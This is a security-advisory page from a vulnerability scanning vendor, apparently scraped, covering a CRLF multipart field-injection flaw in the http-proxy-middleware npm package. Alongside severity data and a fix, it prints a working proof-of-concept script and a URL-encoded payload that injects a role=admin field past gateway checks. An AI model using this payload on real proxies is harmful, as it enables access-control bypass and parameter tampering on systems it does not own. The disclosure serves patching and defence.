Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-gcq2-9pq2-cxqm

HIGH

GHSA-gcq2-9pq2-cxqm is a high-severity (CVSS 7.5) CWE-93 vulnerability in http-proxy-middleware. O3 Security confirms whether GHSA-gcq2-9pq2-cxqm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`

Also known asCVE-2026-55603
Published
Jun 18, 2026
Updated
Jun 18, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Aug 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-gcq2-9pq2-cxqm.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs18th percentile — riskier than 18% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-gcq2-9pq2-cxqm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 357,322 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

4Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
http-proxy-middlewarenpm
26.4Mdownloads / week

Description

Summary

fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:

// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
  }
}

A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.

Preconditions

All three must hold; this narrows real-world exposure and is the basis for AC:H:

  1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input.
  2. The proxied (outgoing) request is sent as multipart/form-data (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.
  3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.

Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.

Impact

When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:

  • Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids role=admin is bypassed; backend grants admin).
  • Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
  • File-part injection inject a filename="..." part into the upstream multipart stream.

Proof of Concept

// npm i [email protected]   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());

Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:

--BB
Content-Disposition: form-data; name="user"

alice
--BB
Content-Disposition: form-data; name="role"     <-- injected part; never present in req.body's keys
admin
--BB--

req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--

Remediation

Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:

function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  const bad = /[\r\n]/;
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    const v = String(value);
    if (bad.test(key) || bad.test(v)) {
      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
    }
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
  }
}

(Reject is preferable to silent stripping, to avoid masking malicious input.)

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmhttp-proxy-middleware3.0.4&&< 3.0.73.0.7
📦npmhttp-proxy-middleware4.0.0&&< 4.1.14.1.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for http-proxy-middleware. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update http-proxy-middleware to 3.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gcq2-9pq2-cxqm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-gcq2-9pq2-cxqm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-gcq2-9pq2-cxqm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

Red Hat rates this issue as having Moderate impact for Red Hat OpenShift AI MLflow images that bundle http-proxy-middleware. Other Red Hat AI products are not affected or do not expose the vulnerable code path in normal operation.

Frequently Asked Questions

## Summary `fixRequestBody()` is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**: ```js // dist/handlers/fix-request-body.js function handlerFormDataBodyData(contentType, data) { const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1'); let str = ''; for (const [key, value] of Object.entr
O3 Security · Impact-Aware SCA

Is GHSA-gcq2-9pq2-cxqm in your dependencies?

O3 detects GHSA-gcq2-9pq2-cxqm across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-gcq2-9pq2-cxqm: http-proxy-middlewar… | O3 Security